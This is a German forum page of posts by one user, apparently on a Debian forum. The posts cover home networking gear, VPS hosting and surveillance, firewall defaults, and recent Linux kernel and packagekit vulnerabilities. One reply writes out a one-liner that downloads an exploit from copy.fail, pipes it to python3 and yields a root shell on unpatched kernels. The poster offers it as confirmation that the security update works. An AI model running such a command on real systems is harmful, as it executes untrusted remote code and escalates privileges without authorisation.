(ot: wow. der letzte wechsel lag im sekundenbereich.)
Beiträge von crunch
-
-
werte acetylsalicylsäure,
Wie ist denn da die Zeitverschiebung zu Asien?
Wie kriegst du es eigentlich hin, dass mir deine Nachrichten trotz Abo nicht per Email zugestellt werden?
also ich wohne im kalten osten teutoniens und die server sind bis jetzt alle an bekannte aktive teilnehmer des forums gegangen. also mit deiner asia-phobie mußt du vorsichtig ein. das wird sonst zur zwangsstörung.
fragen zu forenfunktionen bitte vertrauensvoll an ihren provider stellen
m.
-
-
-
freut mich, wenn es freut. morgen noch drei. nacht.
-
-
-
-
a) Sowas https://www.amazon.de/D-Link-DVA-G3342SD hätte auch genügt.
b) Und wär einfacher einzurichten
c) Für 3 Geräte??
a) iih ne. das ist eine häßliche plastikbüchse mit schlechtem wlan (b/g)
b) feigling. außerdem mußt du hier im besten fall auch nur die kabel einstecken.
c) ich fürchte er meinte mit splitter diese 'kinesischen' teile, die tatsächlich die adern einfach y-artig aufteilen, manchmal mit schalter. und dann, wenn man so arg sparen will, _dann_ könnte man auch erwägen, einfach ein kabel umzustecken.
-
TP-LINK TL-SG105E TL-SG105E Netzwerk Switch 5 Port 1 GBit/s
reicht doch. kannst noch eine kamera per poe+ 'ranhängen.
-
ich hab eine ... Frage - um 2 computer auf einen Printer zugreifen zu lassen - reicht da ein kleiner switch oder hub?
5 Port Gigabit Netzwerk Switch 1000Mbps LAN Verteiler Ethernet Splitter Hub RJ45
oder
LAN Splitter 1 auf 3 RJ45 3-Port Gigabit Netzwerk Switch 1000 Mbps Verteilerklar reicht das. würde auch ein crossoverkabel reichen
was sind das für geräte? switch, splitter und hub in einer bezeichnung? "dit jeht nich."
-
bei mir ist es jetzt auch durch. hat 50 stunden gedauert..
-
Keine Ahnung, ob Pack2TheRoot (CVE-2026-41651) dazugehört (betrifft packagekit).
ist aber für bullseye, bookworm, trixie schon gefixt, wenn upgedatet.
-
So "coordinated" fand ich das jetzt nicht, dass zum Release praktisch alle Distros keinen Fix fertig hatten. Vielleicht lernen sie ja auch dazu.
na ich denke, das gehört zur verkaufsstrategie. solange es noch hot ist, ist die aufmerksamkeit für die extra für diese lücke angelegte website größer, wo die eigenen ai dienste angeboten werden. das ist schon gewollt so.
-
Es sollte die erste Regel immer "DROP ALL" sein für alle eingehenden Ports, und darauf aufbauend können dann benutzerdefinierte Ports freigegebenen werden, sonst wäre ja der Zweck einer Firewall verfehlt.
das geht nicht. dann wird der support von leuten überrannt, die meinen, ihr server sei nicht erreichbar.
-
a) Ich persönlich vertraue netcup subjektiv weit mehr als
b) Einem Hoster wie my-very-fast-and-secure-vps <punkt> ru würde ich eher nicht vertrauen (und auch keine alten Laptops nach Frankreich, Holland oder wo das war, für billiges bare-metal-Hosting schicken).
c) Aber auch ich habe über eine Low End Schachtel Sales Aktion einen VPS in Übersee bekommen. Die 2 TB für 3$/Monat finde ich preislich akzeptabel. Das Sonderangebot gibt es schon lange nicht mehr,
d) Eine FDE schützt nie vor der Zugriffsmöglichkeit eines VPS-Hosters, sondern lediglich vor dem Datenabfluss leichtfertig verscherbelter HDDs, SSDs und NVMes oder irgendwo rumliegender Images.
a) was technisch möglich ist, wird auch gemacht. da hilft dir dein vertrauen nicht. wenn $jemand da ankommt und behauptet, du seiest ein (links|rechts|öko|religions)-extremist und man hätte da mal ein paar fragen, ist das meist erfolgreich. wenn nicht eben nationale sicherheit und cp. und wenn provider oder netzknoten gezwungen sind, technik zu installieren, die es erlauben, per vorgabe ohne ihr mitwissen, mitzulesen, hilft dir auch kein vertrauen.
b) absurderweise könnte es sein, dass du dort mehr freiheit hast - solange du die oligarchie oder den zaren nicht in frage stellst oder etwas gegen russen unternimmst.
c) das klingt nach /vier/plex mit rechnern in nyc. die angebote gibts schon noch. ich hab 2c-2g-2tb für 70$/year und 1c-1g-1tb für 35$/year. kein rendering,streaming etc. erlaubt, nur storage. so eine serverbörse gibts bei nc halt nicht.
d) naja, es erhöht schon den aufwand für $jemand. man kann nicht einfach mal eben da etwas rauskopieren. hilft also auch ein bischen gegen kleine mitarbeiter mit zu wenig anerkennung.
-
netcup spart, damit es überhaupt wieder einen deal gibt.
-
Wenn ich es richtig verstehe, wurd die luecke mit der Kernel version 6.12.85-1 gefixxt bei trixie. Ich danke euch trotzdem fuer eure Infos, sonst waere das komplett an mir vorbeigegangen.
https://security-tracker.debian.org/tracker/CVE-2026-31431
Screenshot 2026-04-30 223702.png
Korrigiert mich gerne wenn ich etwas falsches erzaehle
ja ist richtig. gerade getestet. bei 6.12.74 bekommst du mit
Codeurl https://copy.fail/exp | python3 && suohne passwortnachfrage eine root shell.
nach securityupdate mit kernel-image 6.12.85-1 funktioniert das nicht mehr.
also los! bootparty...
-
Hinter der besagten Tür ist ja auch nicht unsere Regierung, sondern eine, für die Technik kein Neuland ist.
-
Unsere Regierung kann Dir kein Backup bieten. Die sind beschäftigt mit wie gutgläubig sind Regierungsmitarbeiter bei Phishing, Trojaner und Viren.
Und bis Forky herauskommt musst Du so lange Deine Rechner herunterfahren.
du kommst aus ö-land, oder? sagt man das da nicht? das ist eine anspielung auf die überwachung der bürger. so nach dem motto: wenn sie eh alles mitlesen (nicht wahr ;), dann können sie mir ja schließlich auch mein backup geben. ich kannte allerdings auch männer, die mit regierung ihre frau meinten.
ich finde, bei debian kann man die nicht produktiven rechner ruhig mit testing fahren. passiert so selten was und ist dann auch schnell behoben.
